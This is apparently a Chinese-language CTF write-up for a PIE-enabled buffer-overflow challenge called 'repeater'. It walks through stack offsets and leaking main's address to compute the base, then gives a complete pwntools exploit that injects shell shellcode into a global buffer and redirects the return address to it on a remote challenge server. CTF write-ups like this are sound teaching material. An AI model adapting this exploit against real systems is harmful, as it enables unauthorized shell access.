repeater
遇到的第一题开PIE保护机制的pwn题,写一篇记录一下
PIE保护机制就是使程序的基地址随机化让我们无法进行shellcode的注入、rop链的搭建等,因此需要解题的第一件事就是找出程序的基地址,目标明确!
首先先将其checksec一下:
发现此题只开了PIE保护,NX保护机制没开可以实现shellcode注入,因此目标:找出基地址,并实现shellcode注入获取shell。
将其拖入IDA进行查看:
实际地址=基地址+偏移地址,想要实际地址要知道基地址和偏移地址。在图中告诉我们s的偏移地址为rbp-30h,v5的偏移地址为rbp-10h二者相差20h(32字节),
read函数以s的地址为底可以溢出64个字节可以覆盖至返回地址!
对于sub_982(byte_202040,48ull)函数的功能单看应该是看不出来的但我们在终端中可以测试这个函数的功能
我们发现这个函数是进行输入名字的,通过浅浅分析它把名字放到了202040这个地址,可以将shellcode注入这里。
main函数偏移地址可以直接查看:
所以整体思路用exp来表示:
from pwn import*
io=remote('61.147.171.105',64894)
context.arch = 'amd64'
shellcode=asm(shellcraft.sh())
io.sendlineafter('name :',shellcode)
payload=b'a'*32+p64(3281697)
io.sendlineafter("input :",payload)
io.recvuntil("you :\n0x")
main_addr=int(io.recv('12'),16)
b_addr=main_addr-0xa33
shellcode_addr=b_addr+0x202040
payload2=b'a'*0x20+p64(0x1)+b'a'*16+p64(shellcode_addr)
io.sendlineafter("input :",payload2)
io.interactive()
获得shell。